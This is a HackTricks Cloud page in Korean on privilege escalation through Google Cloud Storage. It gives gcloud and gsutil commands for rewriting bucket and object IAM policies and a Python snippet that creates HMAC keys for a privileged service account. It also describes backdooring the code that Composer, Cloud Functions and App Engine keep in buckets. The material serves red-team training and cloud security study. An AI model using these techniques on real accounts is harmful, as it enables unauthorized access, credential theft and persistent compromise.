GCP - Storage Privesc
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
Storage
Basic Information:
storage.objects.get
이 권한은 Cloud Storage에 저장된 파일을 다운로드할 수 있게 합니다. 이는 경우에 따라 민감한 정보가 그곳에 저장되어 있기 때문에 잠재적으로 당신이 escalate privileges 할 수 있게 합니다. 또한 일부 GCP 서비스는 그들의 정보를 buckets에 저장합니다:
- GCP Composer: Composer Environment를 생성하면 모든 DAGs의 code가 bucket 안에 저장됩니다. 이러한 작업들은 그들의 code 안에 흥미로운 정보를 포함하고 있을 수 있습니다.
- GCR (Container Registry): 컨테이너의 image는 buckets 안에 저장되며, 따라서 buckets를 읽을 수 있다면 이미지를 다운로드하고 search for leaks and/or source code할 수 있습니다.
storage.objects.setIamPolicy
이 권한은 이 섹션의 이전 시나리오들을 abuse any of the previous scenarios of this section할 수 있는 권한을 부여합니다.
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
storage.buckets.setIamPolicy
이 권한을 사용하여 권한을 수정하는 방법에 대한 예제는 다음 페이지를 확인하세요:
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
GCP - Public Buckets Privilege Escalation
storage.hmacKeys.create
Cloud Storage의 “interoperability” 기능은 AWS S3와 같은 cross-cloud interactions 용으로 설계되었으며, Service Accounts 및 users용 HMAC keys 생성을 포함합니다. 공격자는 이를 이용해 권한이 상승된 Service Account에 대한 HMAC key 생성을 통해 Cloud Storage 내에서 권한을 상승시킬 수 있습니다. 사용자와 연결된 HMAC keys는 web console에서만 조회 가능하지만, access와 secret keys는 perpetually accessible 상태로 남아 백업용으로 저장될 수 있습니다. 반대로 Service Account에 연결된 HMAC keys는 API로 접근할 수 있으나, 생성 이후에는 access와 secret keys를 조회할 수 없어 지속적인 접근 유지에 복잡함을 더합니다.
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')
# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
Another exploit script for this method can be found here.
storage.objects.create, storage.objects.delete = 스토리지 쓰기 권한
버킷 안에 새 객체를 생성하려면 storage.objects.create가 필요하며, the docs에 따르면 기존 객체를 수정하려면 storage.objects.delete도 필요합니다.
클라우드에 쓰기 가능한 버킷을 이용한 매우 일반적인 악용 사례는 버킷이 웹 서버 파일을 저장하는 경우입니다. 이때 웹 애플리케이션에서 사용될 새 코드를 저장할 수 있습니다.
Composer
Composer는 GCP 안에서 관리되는 Apache Airflow입니다. 다음과 같은 흥미로운 특징이 있습니다:
- Composer는 GKE cluster 내에서 실행되므로 Composer 내부에서 실행되는 코드가 클러스터가 사용하는 SA에 접근할 수 있습니다
- Composer 환경의 모든 구성 요소(DAGs 코드, 플러그인 및 데이터)는 GCP 버킷에 저장됩니다. 공격자가 해당 버킷에 대한 읽기 및 쓰기 권한을 가지고 있다면 버킷을 모니터링하면서 DAG가 생성되거나 업데이트될 때마다 백도어 버전을 제출하여 composer 환경이 storage에서 백도어된 버전을 가져오게 할 수 있습니다.
You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs
Cloud Functions
- Cloud Functions의 코드는 Storage에 저장되며 새 버전이 생성될 때마다 코드가 버킷에 업로드되고 해당 코드에서 새 컨테이너가 빌드됩니다. 따라서 새 버전이 빌드되기 전에 코드를 덮어쓰면 Cloud Function이 임의 코드를 실행하도록 만들 수 있습니다.
You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions
App Engine
AppEngine 버전은 staging.<project-id>.appspot.com 형식의 버킷 안에 일부 데이터를 생성합니다. 이 버킷 안에서 ae라는 폴더를 찾을 수 있으며, 그 안에는 AppEngine 앱의 버전별 폴더가 있고 각 폴더 안에서 manifest.json 파일을 확인할 수 있습니다. 이 파일은 특정 버전을 생성하는 데 사용되는 모든 파일 목록을 담은 json을 포함합니다. 또한 파일의 실제 이름, GCP 버킷 내에서의 URL(버킷 내 파일은 sha1 해시로 이름이 바뀌어 있음) 및 각 파일의 sha1 해시를 찾을 수 있습니다.
Note that it’s not possible to pre-takeover this bucket because GCP users aren’t authorized to generate buckets using the domain name appspot.com.
그러나 이 버킷에 대한 읽기 및 쓰기 권한이 있으면 버킷을 모니터링하면서 변경(새 버전)이 발생할 때마다 가능한 빠르게 새 버전을 수정하여 App Engine 버전에 연결된 SA로 권한 상승이 가능합니다. 이렇게 하면 해당 코드에서 생성되는 컨테이너가 백도어된 코드를 실행하게 됩니다.
언급한 공격은 여러 방식으로 수행할 수 있으며, 모두 staging.<project-id>.appspot.com 버킷을 모니터링하는 것으로 시작합니다:
- AppEngine 버전의 전체 새 코드를 다른 사용 가능한 버킷에 업로드하고, 새로운 버킷 이름과 파일들의 sha1 해시를 포함한
manifest.json파일을 준비합니다. 이후 버킷 안에 새 버전이 생성되면manifest.json파일을 수정하여 악성 것으로 업로드하면 됩니다. - 악성 의존성 코드를 사용하도록 수정한
requirements.txt를 업로드하고manifest.json파일을 새로운 파일명, URL 및 해시로 업데이트합니다. - 악성 코드를 실행하도록 수정된
main.py또는app.yaml파일을 업로드하고,manifest.json를 새로운 파일명, URL 및 해시로 업데이트합니다.
You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine
GCR
- Google Container Registry는 이미지를 버킷 내에 저장합니다. 해당 버킷에 쓰기 권한이 있다면 그 버킷이 실행되는 위치로 횡적 이동할 수 있을지도 모릅니다.
- GCR에서 사용하는 버킷의 URL은
gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com와 유사합니다 (최상위 서브도메인은 here에 지정되어 있습니다).
Tip
이 서비스는 deprecated되어 현재 이 공격은 더 이상 유효하지 않습니다. 게다가 이를 대체하는 서비스인 Artifact Registry는 이미지를 버킷에 저장하지 않습니다.
References
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

